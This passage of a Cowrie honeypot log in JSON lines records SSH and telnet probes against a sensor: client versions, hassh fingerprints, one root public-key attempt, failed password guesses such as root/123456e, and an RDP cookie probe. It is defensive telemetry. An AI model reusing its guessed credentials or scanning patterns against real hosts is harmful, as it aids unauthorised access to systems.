AAAAB3NzaC1yc2EAAAADAQABAAACAQC/40lboKImNr0KaUV7iOME40ue4IhQzbR2NVPGLwzY9n50asnthxE6cdOqt45iSmXsgaVWgDscpGffVQnX2oWHa7Ayt/NOmh8LVzpUrzBs8INE5+pjwH8NJzvt3GVRD0ilLOQkt3h3hb9d0hgTqj8UMpBkzbwLeIMBRtP2R0VGgM5RVjQX42MP3A1oimOTQkLWJpGr1L/fcTvivnC++tgbRp+UkZ3bg1367TXbOot/xo5tF2PpzgHpxrPm+pem7MKMkgXj/t1oaB1Y5eyZqs8GTyqLwFnIMoD1BAgWieLiSgNk3Fe9JJnp0sA5bfGT9G49y+rYojw88b/gacFtZL/upU8hmBggmusgxBklmxxokmlxAVVH1/vWmkNmyhFOJaWvYbqgA/6G/+HBi+2tYGFV+eqhO7NdF/8mByGGmJWfjyN+eLUA0B3y5+8FxeHKBjTwsz+waPOYKM+i+fKibEZ8J4SNBCM2X5KG9yimQGvUztB7YiJ1uS2w7pOReDQO0kBnX5jZMQqi+9np/K32g1fQYAlQDXWdA7f7UsvB0lyt8bR3Qa5BcfC+nurHxVDQb01stXX/LR1Y1T8VFAl765yEBEA5WT4urWFuiR9Z9cfccEUiQ86Mp2M6x4koO5W0LuGf3RWfjJzfyZ6jOcS+i960rEJXCJ0031dVCdmcaPnddw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:e8:e5:89:68:7f:32:61:57:29:d3:0f:6e:62:3b:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:45.883126Z","src_ip":"206.221.176.152","session":"da26b8606421","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:e8:e5:89:68:7f:32:61:57:29:d3:0f:6e:62:3b:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/40lboKImNr0KaUV7iOME40ue4IhQzbR2NVPGLwzY9n50asnthxE6cdOqt45iSmXsgaVWgDscpGffVQnX2oWHa7Ayt/NOmh8LVzpUrzBs8INE5+pjwH8NJzvt3GVRD0ilLOQkt3h3hb9d0hgTqj8UMpBkzbwLeIMBRtP2R0VGgM5RVjQX42MP3A1oimOTQkLWJpGr1L/fcTvivnC++tgbRp+UkZ3bg1367TXbOot/xo5tF2PpzgHpxrPm+pem7MKMkgXj/t1oaB1Y5eyZqs8GTyqLwFnIMoD1BAgWieLiSgNk3Fe9JJnp0sA5bfGT9G49y+rYojw88b/gacFtZL/upU8hmBggmusgxBklmxxokmlxAVVH1/vWmkNmyhFOJaWvYbqgA/6G/+HBi+2tYGFV+eqhO7NdF/8mByGGmJWfjyN+eLUA0B3y5+8FxeHKBjTwsz+waPOYKM+i+fKibEZ8J4SNBCM2X5KG9yimQGvUztB7YiJ1uS2w7pOReDQO0kBnX5jZMQqi+9np/K32g1fQYAlQDXWdA7f7UsvB0lyt8bR3Qa5BcfC+nurHxVDQb01stXX/LR1Y1T8VFAl765yEBEA5WT4urWFuiR9Z9cfccEUiQ86Mp2M6x4koO5W0LuGf3RWfjJzfyZ6jOcS+i960rEJXCJ0031dVCdmcaPnddw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:45.887071Z","src_ip":"206.221.176.152","session":"da26b8606421","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:45.896413Z","src_ip":"206.221.176.152","session":"da26b8606421","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":23887,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ca39d1aa7c3","protocol":"ssh","message":"New connection: 2.57.121.25:23887 (10.17.0.5:22) [session: 9ca39d1aa7c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:49.173473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:49.178206Z","src_ip":"2.57.121.25","session":"9ca39d1aa7c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:49.285789Z","src_ip":"2.57.121.25","session":"9ca39d1aa7c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"168168","message":"login attempt [user/168168] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:49.781454Z","src_ip":"2.57.121.25","session":"9ca39d1aa7c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"161190","message":"login attempt [user/161190] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:50.890214Z","src_ip":"2.57.121.25","session":"9ca39d1aa7c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16101983","message":"login attempt [user/16101983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:51.999447Z","src_ip":"2.57.121.25","session":"9ca39d1aa7c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16101976","message":"login attempt [user/16101976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:53.108490Z","src_ip":"2.57.121.25","session":"9ca39d1aa7c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16071981","message":"login attempt [user/16071981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:54.217060Z","src_ip":"2.57.121.25","session":"9ca39d1aa7c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:55.326073Z","src_ip":"2.57.121.25","session":"9ca39d1aa7c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":38876,"dst_ip":"159.203.135.109","dst_port":22,"session":"95fae18363a2","protocol":"ssh","message":"New connection: 80.66.85.226:38876 (159.203.135.109:22) [session: 95fae18363a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:10.355408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:10.364950Z","src_ip":"80.66.85.226","session":"95fae18363a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:10.458096Z","src_ip":"80.66.85.226","session":"95fae18363a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:10.736964Z","src_ip":"80.66.85.226","session":"95fae18363a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:11.833091Z","src_ip":"80.66.85.226","session":"95fae18363a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.13.25.186","src_port":51454,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bbbe316ec90","protocol":"ssh","message":"New connection: 122.13.25.186:51454 (10.17.0.5:22) [session: 0bbbe316ec90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:32.334152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:32.339247Z","src_ip":"122.13.25.186","session":"0bbbe316ec90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:32.589117Z","src_ip":"122.13.25.186","session":"0bbbe316ec90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":42880,"dst_ip":"10.17.0.5","dst_port":22,"session":"f73ed4afb2e8","protocol":"ssh","message":"New connection: 103.98.149.87:42880 (10.17.0.5:22) [session: f73ed4afb2e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:33.193491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:33.224575Z","src_ip":"103.98.149.87","session":"f73ed4afb2e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:33.433923Z","src_ip":"103.98.149.87","session":"f73ed4afb2e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd.123456","message":"login attempt [root/Dd.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:33.622003Z","src_ip":"122.13.25.186","session":"0bbbe316ec90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456e","message":"login attempt [root/123456e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:34.340590Z","src_ip":"103.98.149.87","session":"f73ed4afb2e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:35.592888Z","src_ip":"103.98.149.87","session":"f73ed4afb2e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":39188,"dst_ip":"159.203.135.109","dst_port":22,"session":"66f9a374f377","protocol":"ssh","message":"New connection: 194.113.233.25:39188 (159.203.135.109:22) [session: 66f9a374f377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:37.608717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:37.614283Z","src_ip":"194.113.233.25","session":"66f9a374f377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:37.705222Z","src_ip":"194.113.233.25","session":"66f9a374f377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"restart","message":"login attempt [root/restart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:37.979470Z","src_ip":"194.113.233.25","session":"66f9a374f377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:39.073356Z","src_ip":"194.113.233.25","session":"66f9a374f377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:41.630067Z","src_ip":"122.13.25.186","session":"0bbbe316ec90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":34970,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d30dc757250","protocol":"ssh","message":"New connection: 43.128.102.61:34970 (10.17.0.5:22) [session: 4d30dc757250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:52.826797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:52.831601Z","src_ip":"43.128.102.61","session":"4d30dc757250","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:53.077377Z","src_ip":"43.128.102.61","session":"4d30dc757250","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sayed123","message":"login attempt [root/sayed123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:54.093004Z","src_ip":"43.128.102.61","session":"4d30dc757250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:38:55.340891Z","src_ip":"43.128.102.61","session":"4d30dc757250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":117.77026462554932,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:39:18.385109Z","src_ip":"152.42.224.71","session":"9c142f52b262","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":55456,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5b3151db062","protocol":"ssh","message":"New connection: 167.172.81.52:55456 (10.17.0.5:22) [session: d5b3151db062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:39:41.355052Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:39:41.359819Z","src_ip":"167.172.81.52","session":"d5b3151db062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:39:41.364128Z","src_ip":"167.172.81.52","session":"d5b3151db062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.185.120.193","src_port":63293,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d4e3c13e0e1","protocol":"telnet","message":"New connection: 121.185.120.193:63293 (159.203.135.109:23) [session: 1d4e3c13e0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:39:41.397547Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":60964,"dst_ip":"10.17.0.5","dst_port":22,"session":"80abe618cdfb","protocol":"ssh","message":"New connection: 45.66.52.41:60964 (10.17.0.5:22) [session: 80abe618cdfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:39:42.923303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:39:42.928371Z","src_ip":"45.66.52.41","session":"80abe618cdfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr